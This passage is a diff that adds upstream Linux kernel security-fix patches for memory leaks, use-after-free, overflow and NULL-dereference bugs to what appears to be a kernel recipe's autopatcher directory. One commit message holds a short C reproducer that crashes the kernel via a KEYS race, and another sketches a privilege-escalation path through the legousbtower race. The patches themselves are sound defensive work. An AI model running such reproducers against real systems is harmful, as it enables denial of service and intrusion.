0000000..d76df29 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0432-97f3c0a4b057-ACPICA acpi acpica fix acpi operand cache leak in nsevalc.patch @@ -0,0 +1,90 @@ +From 97f3c0a4b0579b646b6b10ae5a3d59f0441cc12c Mon Sep 17 00:00:00 2001 +From: Seunghun Han +Date: Wed, 14 Mar 2018 16:12:56 -0700 +Subject: ACPICA: acpi: acpica: fix acpi operand cache leak in nseval.c + +I found an ACPI cache leak in ACPI early termination and boot continuing case. + +When early termination occurs due to malicious ACPI table, Linux kernel +terminates ACPI function and continues to boot process. While kernel terminates +ACPI function, kmem_cache_destroy() reports Acpi-Operand cache leak. + +Boot log of ACPI operand cache leak is as follows: +>[ 0.464168] ACPI: Added _OSI(Module Device) +>[ 0.467022] ACPI: Added _OSI(Processor Device) +>[ 0.469376] ACPI: Added _OSI(3.0 _SCP Extensions) +>[ 0.471647] ACPI: Added _OSI(Processor Aggregator Device) +>[ 0.477997] ACPI Error: Null stack entry at ffff880215c0aad8 (20170303/exresop-174) +>[ 0.482706] ACPI Exception: AE_AML_INTERNAL, While resolving operands for [opcode_name unavailable] (20170303/dswexec-461) +>[ 0.487503] ACPI Error: Method parse/execution failed [\DBG] (Node ffff88021710ab40), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.492136] ACPI Error: Method parse/execution failed [\_SB._INI] (Node ffff88021710a618), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.497683] ACPI: Interpreter enabled +>[ 0.499385] ACPI: (supports S0) +>[ 0.501151] ACPI: Using IOAPIC for interrupt routing +>[ 0.503342] ACPI Error: Null stack entry at ffff880215c0aad8 (20170303/exresop-174) +>[ 0.506522] ACPI Exception: AE_AML_INTERNAL, While resolving operands for [opcode_name unavailable] (20170303/dswexec-461) +>[ 0.510463] ACPI Error: Method parse/execution failed [\DBG] (Node ffff88021710ab40), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.514477] ACPI Error: Method parse/execution failed [\_PIC] (Node ffff88021710ab18), AE_AML_INTERNAL (20170303/psparse-543) +>[ 0.518867] ACPI Exception: AE_AML_INTERNAL, Evaluating _PIC (20170303/bus-991) +>[ 0.522384] kmem_cache_destroy Acpi-Operand: Slab cache still has objects +>[ 0.524597] CPU: 1 PID: 1 Comm: swapper/0 Not tainted 4.12.0-rc5 #26 +>[ 0.526795] Hardware name: innotek gmb_h virtual_box/virtual_box, BIOS virtual_box 12/01/2006 +>[ 0.529668] Call Trace: +>[ 0.530811] ? dump_stack+0x5c/0x81 +>[ 0.532240] ? kmem_cache_destroy+0x1aa/0x1c0 +>[ 0.533905] ? acpi_os_delete_cache+0xa/0x10 +>[ 0.535497] ? acpi_ut_delete_caches+0x3f/0x7b +>[ 0.537237] ? acpi_terminate+0xa/0x14 +>[ 0.538701] ? acpi_init+0x2af/0x34f +>[ 0.540008] ? acpi_sleep_proc_init+0x27/0x27 +>[ 0.541593] ? do_one_initcall+0x4e/0x1a0 +>[ 0.543008] ? kernel_init_freeable+0x19e/0x21f +>[ 0.546202] ? rest_init+0x80/0x80 +>[ 0.547513] ? kernel_init+0xa/0x100 +>[ 0.548817] ? ret_from_fork+0x25/0x30 +>[ 0.550587] vgaarb: loaded +>[ 0.551716] EDAC MC: Ver: 3.0.0 +>[ 0.553744] PCI: Probing PCI hardware +>[ 0.555038] PCI host bridge to bus 0000:00 +> ... Continue to boot and log is omitted ... + +I analyzed this memory leak in detail and found acpi_ns_evaluate() function +only removes Info->return_object in AE_CTRL_RETURN_VALUE case. But, when errors +occur, the status value is not AE_CTRL_RETURN_VALUE, and Info->return_object is +also not null. Therefore, this causes acpi operand memory leak. + +This cache leak causes a security threat because an old kernel (<= 4.9) shows +memory locations of kernel functions in stack dump. Some malicious users +could use this information to neutralize kernel ASLR. + +I made a patch to fix ACPI operand cache leak. + +Signed-off-by: Seunghun Han +Signed-off-by: Erik Schmauss +Signed-off-by: Rafael J. Wysocki +--- + drivers/acpi/acpica/nseval.c | 8 ++++++++ + 1 file changed, 8 insertions(+) + +diff --git a/drivers/acpi/acpica/nseval.c b/drivers/acpi/acpica/nseval.c +index bdf94ec19c10..34c5dcad35b8 100644 +--- a/drivers/acpi/acpica/nseval.c ++++ b/drivers/acpi/acpica/nseval.c +@@ -310,6 +310,14 @@ acpi_status acpi_ns_evaluate(struct acpi_evaluate_info *info) + /* Map AE_CTRL_RETURN_VALUE to AE_OK, we are done with it */ + + status = AE_OK; ++ } else if (ACPI_FAILURE(status)) { ++ ++ /* If return_object exists, delete it */ ++ ++ if (info->return_object) { ++ acpi_ut_remove_reference(info->return_object); ++ info->return_object = NULL; ++ } + } + + ACPI_DEBUG_PRINT((ACPI_DB_NAMES, +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0433-c5378d27adda-scsi qla2xxx Fix an integer overflow in sysfs code.patch b/recipes-kernel/linux/linux-bass/autopatcher/0433-c5378d27adda-scsi qla2xxx Fix an integer overflow in sysfs code.patch new file mode 100644 index 0000000..5c3009c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0433-c5378d27adda-scsi qla2xxx Fix an integer overflow in sysfs code.patch @@ -0,0 +1,65 @@ +From c5378d27adda7f15e3465594694bf9688ebe970c Mon Sep 17 00:00:00 2001 +From: Dan Carpenter +Date: Wed, 30 Aug 2017 16:30:35 +0300 +Subject: scsi: qla2xxx: Fix an integer overflow in sysfs code + +commit e6f77540c067b48dee10f1e33678415bfcc89017 upstream. + +The value of "size" comes from the user. When we add "start + size" it +could lead to an integer overflow bug. + +It means we vmalloc() a lot more memory than we had intended. I believe +that on 64 bit systems vmalloc() can succeed even if we ask it to +allocate huge 4GB buffers. So we would get memory corruption and likely +a crash when we call ha->isp_ops->write_optrom() and ->read_optrom(). + +Only root can trigger this bug. + +Link: https://bugzilla.kernel.org/show_bug.cgi?id=194061 + +Cc: +Fixes: b7cc176c9eb3 ("[SCSI] qla2xxx: Allow region-based flash-part accesses.") +Reported-by: shqking +Signed-off-by: Dan Carpenter +Signed-off-by: Martin K. Petersen +Signed-off-by: Willy Tarreau +--- + drivers/scsi/qla2xxx/qla_attr.c | 8 ++++---- + 1 file changed, 4 insertions(+), 4 deletions(-) + +diff --git a/drivers/scsi/qla2xxx/qla_attr.c b/drivers/scsi/qla2xxx/qla_attr.c +index bf60c631abb5..3b0f02c146d5 100644 +--- a/drivers/scsi/qla2xxx/qla_attr.c ++++ b/drivers/scsi/qla2xxx/qla_attr.c +@@ -299,6 +299,8 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + return -EINVAL; + if (start > ha->optrom_size) + return -EINVAL; ++ if (size > ha->optrom_size - start) ++ size = ha->optrom_size - start; + + switch (val) { + case 0: +@@ -320,8 +322,7 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + return -EINVAL; + + ha->optrom_region_start = start; +- ha->optrom_region_size = start + size > ha->optrom_size ? +- ha->optrom_size - start : size; ++ ha->optrom_region_size = start + size; + + ha->optrom_state = QLA_SREADING; + ha->optrom_buffer = vmalloc(ha->optrom_region_size); +@@ -388,8 +389,7 @@ qla2x00_sysfs_write_optrom_ctl(struct file *filp, struct kobject *kobj, + } + + ha->optrom_region_start = start; +- ha->optrom_region_size = start + size > ha->optrom_size ? +- ha->optrom_size - start : size; ++ ha->optrom_region_size = start + size; + + ha->optrom_state = QLA_SWRITING; + ha->optrom_buffer = vmalloc(ha->optrom_region_size); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0434-83fef5222fb2-tcp initialize rcvmss to TCPMINMSS instead of 0.patch b/recipes-kernel/linux/linux-bass/autopatcher/0434-83fef5222fb2-tcp initialize rcvmss to TCPMINMSS instead of 0.patch new file mode 100644 index 0000000..2d47397 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0434-83fef5222fb2-tcp initialize rcvmss to TCPMINMSS instead of 0.patch @@ -0,0 +1,42 @@ +From 83fef5222fb220e232d106704d9e0abe838d8b0b Mon Sep 17 00:00:00 2001 +From: Wei Wang +Date: Thu, 18 May 2017 11:22:33 -0700 +Subject: tcp: initialize rcv_mss to TCP_MIN_MSS instead of 0 + +commit 499350a5a6e7512d9ed369ed63a4244b6536f4f8 upstream. + +When tcp_disconnect() is called, inet_csk_delack_init() sets +icsk->icsk_ack.rcv_mss to 0. +This could potentially cause tcp_recvmsg() => tcp_cleanup_rbuf() => +__tcp_select_window() call path to have division by 0 issue. +So this patch initializes rcv_mss to TCP_MIN_MSS instead of 0. + +Reported-by: Andrey Konovalov +Signed-off-by: Wei Wang +Signed-off-by: Eric Dumazet +Signed-off-by: Neal Cardwell +Signed-off-by: Yuchung Cheng +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/ipv4/tcp.c | 4 ++++ + 1 file changed, 4 insertions(+) + +diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c +index 446dc4fe28c6..b80b399f2377 100644 +--- a/net/ipv4/tcp.c ++++ b/net/ipv4/tcp.c +@@ -2313,6 +2313,10 @@ int tcp_disconnect(struct sock *sk, int flags) + tcp_set_ca_state(sk, TCP_CA_Open); + tcp_clear_retrans(tp); + inet_csk_delack_init(sk); ++ /* Initialize rcv_mss to TCP_MIN_MSS to avoid division by 0 ++ * issue in __tcp_select_window() ++ */ ++ icsk->icsk_ack.rcv_mss = TCP_MIN_MSS; + tcp_init_send_head(sk); + memset(&tp->rx_opt, 0, sizeof(tp->rx_opt)); + __sk_dst_reset(sk); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0435-c88f0e6b06f4-scsi scsitransportiscsi fix the issue that iscsiifrx doesnt.patch b/recipes-kernel/linux/linux-bass/autopatcher/0435-c88f0e6b06f4-scsi scsitransportiscsi fix the issue that iscsiifrx doesnt.patch new file mode 100644 index 0000000..9e02db4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0435-c88f0e6b06f4-scsi scsitransportiscsi fix the issue that iscsiifrx doesnt.patch @@ -0,0 +1,61 @@ +From c88f0e6b06f4092995688211a631bb436125d77b Mon Sep 17 00:00:00 2001 +From: Xin Long +Date: Sun, 27 Aug 2017 20:25:26 +0800 +Subject: scsi: scsi_transport_iscsi: fix the issue that iscsi_if_rx doesn't + parse nlmsg properly + +ChunYu found a kernel crash by syzkaller: + +[ 651.617875] kasan: CONFIG_KASAN_INLINE enabled +[ 651.618217] kasan: GPF could be caused by NULL-ptr deref or user memory access +[ 651.618731] general protection fault: 0000 [#1] SMP KASAN +[ 651.621543] CPU: 1 PID: 9539 Comm: scsi Not tainted 4.11.0.cov #32 +[ 651.621938] Hardware name: Red Hat KVM, BIOS 0.5.1 01/01/2011 +[ 651.622309] task: ffff880117780000 task.stack: ffff8800a3188000 +[ 651.622762] RIP: 0010:skb_release_data+0x26c/0x590 +[...] +[ 651.627260] Call Trace: +[ 651.629156] skb_release_all+0x4f/0x60 +[ 651.629450] consume_skb+0x1a5/0x600 +[ 651.630705] netlink_unicast+0x505/0x720 +[ 651.632345] netlink_sendmsg+0xab2/0xe70 +[ 651.633704] sock_sendmsg+0xcf/0x110 +[ 651.633942] ___sys_sendmsg+0x833/0x980 +[ 651.637117] __sys_sendmsg+0xf3/0x240 +[ 651.638820] SyS_sendmsg+0x32/0x50 +[ 651.639048] entry_SYSCALL_64_fastpath+0x1f/0xc2 + +It's caused by skb_shared_info at the end of sk_buff was overwritten by +ISCSI_KEVENT_IF_ERROR when parsing nlmsg info from skb in iscsi_if_rx. + +During the loop if skb->len == nlh->nlmsg_len and both are sizeof(*nlh), +ev = nlmsg_data(nlh) will acutally get skb_shinfo(SKB) instead and set a +new value to skb_shinfo(SKB)->nr_frags by ev->type. + +This patch is to fix it by checking nlh->nlmsg_len properly there to +avoid over accessing sk_buff. + +Reported-by: ChunYu Wang +Signed-off-by: Xin Long +Acked-by: Chris Leech +Signed-off-by: Martin K. Petersen +--- + drivers/scsi/scsi_transport_iscsi.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/drivers/scsi/scsi_transport_iscsi.c b/drivers/scsi/scsi_transport_iscsi.c +index 8934f19bce8e..0190aeff5f7f 100644 +--- a/drivers/scsi/scsi_transport_iscsi.c ++++ b/drivers/scsi/scsi_transport_iscsi.c +@@ -3689,7 +3689,7 @@ iscsi_if_rx(struct sk_buff *skb) + uint32_t group; + + nlh = nlmsg_hdr(skb); +- if (nlh->nlmsg_len < sizeof(*nlh) || ++ if (nlh->nlmsg_len < sizeof(*nlh) + sizeof(*ev) || + skb->len < nlh->nlmsg_len) { + break; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0436-ca395c15c49c-msmipa Fix to kasan useafterfree issue.patch b/recipes-kernel/linux/linux-bass/autopatcher/0436-ca395c15c49c-msmipa Fix to kasan useafterfree issue.patch new file mode 100644 index 0000000..69b38cd --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0436-ca395c15c49c-msmipa Fix to kasan useafterfree issue.patch @@ -0,0 +1,39 @@ +From ca395c15c49cf6463a39d197b6a9331d183d94cb Mon Sep 17 00:00:00 2001 +From: Mohammed Javid +Date: Sun, 25 Jun 2017 01:01:55 +0530 +Subject: msm:ipa: Fix to kasan use-after-free issue + +Added mutex lock to query rt table function also to sync +with other ioctl calls in ipa. +Change-Id: I65d46c0ef28b5e6260c92473fd15e9763de20146 +Acked-by: Ashok Vuyyuru +Signed-off-by: Mohammed Javid +--- + drivers/platform/msm/ipa/ipa_rt.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/drivers/platform/msm/ipa/ipa_rt.c b/drivers/platform/msm/ipa/ipa_rt.c +index 748c10f..5cabfa5 100644 +--- a/drivers/platform/msm/ipa/ipa_rt.c ++++ b/drivers/platform/msm/ipa/ipa_rt.c +@@ -851,12 +851,16 @@ int ipa_query_rt_index(struct ipa_ioc_get_rt_tbl_indx *in) + return -EINVAL; + } + ++ mutex_lock(&ipa_ctx->lock); + /* check if this table exists */ + entry = __ipa_find_rt_tbl(in->ip, in->name); +- if (!entry) ++ if (!entry){ ++ mutex_unlock(&ipa_ctx->lock); + return -EFAULT; ++ } + + in->idx = entry->idx; ++ mutex_unlock(&ipa_ctx->lock); + return 0; + } + +-- +cgit v1.1 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0437-de57bad7f7a9-usb misc legousbtower Fix NULL pointer deference.patch b/recipes-kernel/linux/linux-bass/autopatcher/0437-de57bad7f7a9-usb misc legousbtower Fix NULL pointer deference.patch new file mode 100644 index 0000000..2018954 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0437-de57bad7f7a9-usb misc legousbtower Fix NULL pointer deference.patch @@ -0,0 +1,92 @@ +From de57bad7f7a9451e6ba5a20dc859f47cac888c8e Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Mon, 19 Sep 2016 19:09:51 +0100 +Subject: usb: misc: legousbtower: Fix NULL pointer deference + +commit 2fae9e5a7babada041e2e161699ade2447a01989 upstream. + +This patch fixes a NULL pointer dereference caused by a race codition in +the probe function of the legousbtower driver. It re-structures the +probe function to only register the interface after successfully reading +the board's firmware ID. + +The probe function does not deregister the usb interface after an error +receiving the devices firmware ID. The device file registered +(/dev/usb/legousbtower%d) may be read/written globally before the probe +function returns. When tower_delete is called in the probe function +(after an r/w has been initiated), core dev structures are deleted while +the file operation functions are still running. If the 0 address is +mappable on the machine, this vulnerability can be used to create a +Local Priviege Escalation exploit via a write-what-where condition by +remapping dev->interrupt_out_buffer in tower_write. A forged USB device +and local program execution would be required for LPE. The USB device +would have to delay the control message in tower_probe and accept +the control urb in tower_open whilst guest code initiated a write to the +device file as tower_delete is called from the error in tower_probe. + +This bug has existed since 2003. Patch tested by emulated device. + +Reported-by: James Patrick-Evans +Tested-by: James Patrick-Evans +Signed-off-by: James Patrick-Evans +Signed-off-by: Willy Tarreau +--- + drivers/usb/misc/legousbtower.c | 35 +++++++++++++++++------------------ + 1 file changed, 17 insertions(+), 18 deletions(-) + +diff --git a/drivers/usb/misc/legousbtower.c b/drivers/usb/misc/legousbtower.c +index 80894791c020..c3e9cfc7c276 100644 +--- a/drivers/usb/misc/legousbtower.c ++++ b/drivers/usb/misc/legousbtower.c +@@ -953,24 +953,6 @@ static int tower_probe (struct usb_interface *interface, const struct usb_device + dev->interrupt_in_interval = interrupt_in_interval ? interrupt_in_interval : dev->interrupt_in_endpoint->bInterval; + dev->interrupt_out_interval = interrupt_out_interval ? interrupt_out_interval : dev->interrupt_out_endpoint->bInterval; + +- /* we can register the device now, as it is ready */ +- usb_set_intfdata (interface, dev); +- +- retval = usb_register_dev (interface, &tower_class); +- +- if (retval) { +- /* something prevented us from registering this driver */ +- dev_err(idev, "Not able to get a minor for this device.\n"); +- usb_set_intfdata (interface, NULL); +- goto error; +- } +- dev->minor = interface->minor; +- +- /* let the user know what node this device is now attached to */ +- dev_info(&interface->dev, "LEGO USB Tower #%d now attached to major " +- "%d minor %d\n", (dev->minor - LEGO_USB_TOWER_MINOR_BASE), +- USB_MAJOR, dev->minor); +- + /* get the firmware version and log it */ + result = usb_control_msg (udev, + usb_rcvctrlpipe(udev, 0), +@@ -991,6 +973,23 @@ static int tower_probe (struct usb_interface *interface, const struct usb_device + get_version_reply.minor, + le16_to_cpu(get_version_reply.build_no)); + ++ /* we can register the device now, as it is ready */ ++ usb_set_intfdata (interface, dev); ++ ++ retval = usb_register_dev (interface, &tower_class); ++ ++ if (retval) { ++ /* something prevented us from registering this driver */ ++ dev_err(idev, "Not able to get a minor for this device.\n"); ++ usb_set_intfdata (interface, NULL); ++ goto error; ++ } ++ dev->minor = interface->minor; ++ ++ /* let the user know what node this device is now attached to */ ++ dev_info(&interface->dev, "LEGO USB Tower #%d now attached to major " ++ "%d minor %d\n", (dev->minor - LEGO_USB_TOWER_MINOR_BASE), ++ USB_MAJOR, dev->minor); + + exit: + dbg(2, "%s: leave, return value 0x%.8lx (dev)", __func__, (long) dev); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0438.diff b/recipes-kernel/linux/linux-bass/autopatcher/0438.diff new file mode 100644 index 0000000..908763c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0438.diff @@ -0,0 +1,15 @@ +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index 6abb1ca..72b1fe5 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -4267,6 +4267,10 @@ + struct sctp_af *af; + int err = 0; + ++ /* Do not peel off from one netns to another one. */ ++ if (!net_eq(current->nsproxy->net_ns, sock_net(sk))) ++ return -EINVAL; ++ + if (!asoc) + return -EINVAL; + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0439-3937c2c918c2-ALSA seq Fix useafterfree at creating a port.patch b/recipes-kernel/linux/linux-bass/autopatcher/0439-3937c2c918c2-ALSA seq Fix useafterfree at creating a port.patch new file mode 100644 index 0000000..b096872 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0439-3937c2c918c2-ALSA seq Fix useafterfree at creating a port.patch @@ -0,0 +1,143 @@ +From 3937c2c918c2ac71c064892d6631d0fc47c882c2 Mon Sep 17 00:00:00 2001 +From: Takashi Iwai +Date: Mon, 9 Oct 2017 11:09:20 +0200 +Subject: ALSA: seq: Fix use-after-free at creating a port + +commit 71105998845fb012937332fe2e806d443c09e026 upstream. + +There is a potential race window opened at creating and deleting a +port via ioctl, as spotted by fuzzing. snd_seq_create_port() creates +a port object and returns its pointer, but it doesn't take the +refcount, thus it can be deleted immediately by another thread. +Meanwhile, snd_seq_ioctl_create_port() still calls the function +snd_seq_system_client_ev_port_start() with the created port object +that is being deleted, and this triggers use-after-free like: + + BUG: KASAN: use-after-free in snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] at addr ffff8801f2241cb1 + ============================================================================= + BUG kmalloc-512 (Tainted: G B ): kasan: bad access detected + ----------------------------------------------------------------------------- + INFO: Allocated in snd_seq_create_port+0x94/0x9b0 [snd_seq] age=1 cpu=3 pid=4511 + ___slab_alloc+0x425/0x460 + __slab_alloc+0x20/0x40 + kmem_cache_alloc_trace+0x150/0x190 + snd_seq_create_port+0x94/0x9b0 [snd_seq] + snd_seq_ioctl_create_port+0xd1/0x630 [snd_seq] + snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + snd_seq_ioctl+0x40/0x80 [snd_seq] + do_vfs_ioctl+0x54b/0xda0 + SyS_ioctl+0x79/0x90 + entry_SYSCALL_64_fastpath+0x16/0x75 + INFO: Freed in port_delete+0x136/0x1a0 [snd_seq] age=1 cpu=2 pid=4717 + __slab_free+0x204/0x310 + kfree+0x15f/0x180 + port_delete+0x136/0x1a0 [snd_seq] + snd_seq_delete_port+0x235/0x350 [snd_seq] + snd_seq_ioctl_delete_port+0xc8/0x180 [snd_seq] + snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + snd_seq_ioctl+0x40/0x80 [snd_seq] + do_vfs_ioctl+0x54b/0xda0 + SyS_ioctl+0x79/0x90 + entry_SYSCALL_64_fastpath+0x16/0x75 + Call Trace: + [] dump_stack+0x63/0x82 + [] print_trailer+0xfb/0x160 + [] object_err+0x34/0x40 + [] kasan_report.part.2+0x223/0x520 + [] ? snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] + [] __asan_report_load1_noabort+0x2e/0x30 + [] snd_seq_ioctl_create_port+0x504/0x630 [snd_seq] + [] ? snd_seq_ioctl_delete_port+0x180/0x180 [snd_seq] + [] ? taskstats_exit+0xbc0/0xbc0 + [] snd_seq_do_ioctl+0x11c/0x190 [snd_seq] + [] snd_seq_ioctl+0x40/0x80 [snd_seq] + [] ? acct_account_cputime+0x63/0x80 + [] do_vfs_ioctl+0x54b/0xda0 + ..... + +We may fix this in a few different ways, and in this patch, it's fixed +simply by taking the refcount properly at snd_seq_create_port() and +letting the caller unref the object after use. Also, there is another +potential use-after-free by sprintf() call in snd_seq_create_port(), +and this is moved inside the lock. + +This fix covers CVE-2017-15265. + +Reported-and-tested-by: Michael23 Yu +Suggested-by: Linus Torvalds +Cc: +Signed-off-by: Takashi Iwai +Signed-off-by: Willy Tarreau +--- + sound/core/seq/seq_clientmgr.c | 6 +++++- + sound/core/seq/seq_ports.c | 7 +++++-- + 2 files changed, 10 insertions(+), 3 deletions(-) + +diff --git a/sound/core/seq/seq_clientmgr.c b/sound/core/seq/seq_clientmgr.c +index d449dde1bf50..7b5a7902b7a2 100644 +--- a/sound/core/seq/seq_clientmgr.c ++++ b/sound/core/seq/seq_clientmgr.c +@@ -1248,6 +1248,7 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + struct snd_seq_client_port *port; + struct snd_seq_port_info info; + struct snd_seq_port_callback *callback; ++ int port_idx; + + if (copy_from_user(&info, arg, sizeof(info))) + return -EFAULT; +@@ -1261,7 +1262,9 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + return -ENOMEM; + + if (client->type == USER_CLIENT && info.kernel) { +- snd_seq_delete_port(client, port->addr.port); ++ port_idx = port->addr.port; ++ snd_seq_port_unlock(port); ++ snd_seq_delete_port(client, port_idx); + return -EINVAL; + } + if (client->type == KERNEL_CLIENT) { +@@ -1283,6 +1286,7 @@ static int snd_seq_ioctl_create_port(struct snd_seq_client *client, + + snd_seq_set_port_info(port, &info); + snd_seq_system_client_ev_port_start(port->addr.client, port->addr.port); ++ snd_seq_port_unlock(port); + + if (copy_to_user(arg, &info, sizeof(info))) + return -EFAULT; +diff --git a/sound/core/seq/seq_ports.c b/sound/core/seq/seq_ports.c +index ee0522a8f730..a28d1acad574 100644 +--- a/sound/core/seq/seq_ports.c ++++ b/sound/core/seq/seq_ports.c +@@ -122,7 +122,9 @@ static void port_subs_info_init(struct snd_seq_port_subs_info *grp) + } + + +-/* create a port, port number is returned (-1 on failure) */ ++/* create a port, port number is returned (-1 on failure); ++ * the caller needs to unref the port via snd_seq_port_unlock() appropriately ++ */ + struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + int port) + { +@@ -153,6 +155,7 @@ struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + snd_use_lock_init(&new_port->use_lock); + port_subs_info_init(&new_port->c_src); + port_subs_info_init(&new_port->c_dest); ++ snd_use_lock_use(&new_port->use_lock); + + num = port >= 0 ? port : 0; + mutex_lock(&client->ports_mutex); +@@ -167,9 +170,9 @@ struct snd_seq_client_port *snd_seq_create_port(struct snd_seq_client *client, + list_add_tail(&new_port->list, &p->list); + client->num_ports++; + new_port->addr.port = num; /* store the port number in the port */ ++ sprintf(new_port->name, "port-%d", num); + write_unlock_irqrestore(&client->ports_lock, flags); + mutex_unlock(&client->ports_mutex); +- sprintf(new_port->name, "port-%d", num); + + return new_port; + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0440-f862c9436454-KEYS fix dereferencing NULL payload with nonzero length.patch b/recipes-kernel/linux/linux-bass/autopatcher/0440-f862c9436454-KEYS fix dereferencing NULL payload with nonzero length.patch new file mode 100644 index 0000000..ca00b4d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0440-f862c9436454-KEYS fix dereferencing NULL payload with nonzero length.patch @@ -0,0 +1,51 @@ +From f862c9436454a5b78d29ebaebc547aa6d1474f7a Mon Sep 17 00:00:00 2001 +From: Eric Biggers +Date: Thu, 8 Jun 2017 14:48:40 +0100 +Subject: KEYS: fix dereferencing NULL payload with nonzero length + +commit 5649645d725c73df4302428ee4e02c869248b4c5 upstream. + +sys_add_key() and the KEYCTL_UPDATE operation of sys_keyctl() allowed a +NULL payload with nonzero length to be passed to the key type's +->preparse(), ->instantiate(), and/or ->update() methods. Various key +types including asymmetric, cifs.idmap, cifs.spnego, and pkcs7_test did +not handle this case, allowing an unprivileged user to trivially cause a +NULL pointer dereference (kernel oops) if one of these key types was +present. Fix it by doing the copy_from_user() when 'plen' is nonzero +rather than when '_payload' is non-NULL, causing the syscall to fail +with EFAULT as expected when an invalid buffer is specified. + +Cc: stable@vger.kernel.org # 2.6.10+ +Signed-off-by: Eric Biggers +Signed-off-by: David Howells +Signed-off-by: James Morris +Signed-off-by: Willy Tarreau +--- + security/keys/keyctl.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/security/keys/keyctl.c b/security/keys/keyctl.c +index 066baa1926bb..7576f49eeb34 100644 +--- a/security/keys/keyctl.c ++++ b/security/keys/keyctl.c +@@ -93,7 +93,7 @@ SYSCALL_DEFINE5(add_key, const char __user *, _type, + payload = NULL; + + vm = false; +- if (_payload) { ++ if (plen) { + ret = -ENOMEM; + payload = kmalloc(plen, GFP_KERNEL | __GFP_NOWARN); + if (!payload) { +@@ -327,7 +327,7 @@ long keyctl_update_key(key_serial_t id, + + /* pull the payload in if one was supplied */ + payload = NULL; +- if (_payload) { ++ if (plen) { + ret = -ENOMEM; + payload = kmalloc(plen, GFP_KERNEL); + if (!payload) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0441-20d94bc94065-KEYS dont let addkey update an uninstantiated key.patch b/recipes-kernel/linux/linux-bass/autopatcher/0441-20d94bc94065-KEYS dont let addkey update an uninstantiated key.patch new file mode 100644 index 0000000..b2280d9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0441-20d94bc94065-KEYS dont let addkey update an uninstantiated key.patch @@ -0,0 +1,123 @@ +From 20d94bc94065e6fc3f82b7d39b9a2011696aa074 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Thu, 12 Oct 2017 16:00:41 +0100 +Subject: KEYS: don't let add_key() update an uninstantiated key + +commit 60ff5b2f547af3828aebafd54daded44cfb0807a upstream. + +Currently, when passed a key that already exists, add_key() will call the +key's ->update() method if such exists. But this is heavily broken in the +case where the key is uninstantiated because it doesn't call +__key_instantiate_and_link(). Consequently, it doesn't do most of the +things that are supposed to happen when the key is instantiated, such as +setting the instantiation state, clearing KEY_FLAG_USER_CONSTRUCT and +awakening tasks waiting on it, and incrementing key->user->nikeys. + +It also never takes key_construction_mutex, which means that +->instantiate() can run concurrently with ->update() on the same key. In +the case of the "user" and "logon" key types this causes a memory leak, at +best. Maybe even worse, the ->update() methods of the "encrypted" and +"trusted" key types actually just dereference a NULL pointer when passed an +uninstantiated key. + +Change key_create_or_update() to wait interruptibly for the key to finish +construction before continuing. + +This patch only affects *uninstantiated* keys. For now we still allow a +negatively instantiated key to be updated (thereby positively +instantiating it), although that's broken too (the next patch fixes it) +and I'm not sure that anyone actually uses that functionality either. + +Here is a simple reproducer for the bug using the "encrypted" key type +(requires CONFIG_ENCRYPTED_KEYS=y), though as noted above the bug +pertained to more than just the "encrypted" key type: + + #include + #include + #include + + int main(void) + { + int ringid = keyctl_join_session_keyring(NULL); + + if (fork()) { + for (;;) { + const char payload[] = "update user:foo 32"; + + usleep(rand() % 10000); + add_key("encrypted", "desc", payload, sizeof(payload), ringid); + keyctl_clear(ringid); + } + } else { + for (;;) + request_key("encrypted", "desc", "callout_info", ringid); + } + } + +It causes: + + BUG: unable to handle kernel NULL pointer dereference at 0000000000000018 + IP: encrypted_update+0xb0/0x170 + PGD 7a178067 P4D 7a178067 PUD 77269067 PMD 0 + PREEMPT SMP + CPU: 0 PID: 340 Comm: reproduce Tainted: G D 4.14.0-rc1-00025-g428490e38b2e #796 + Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 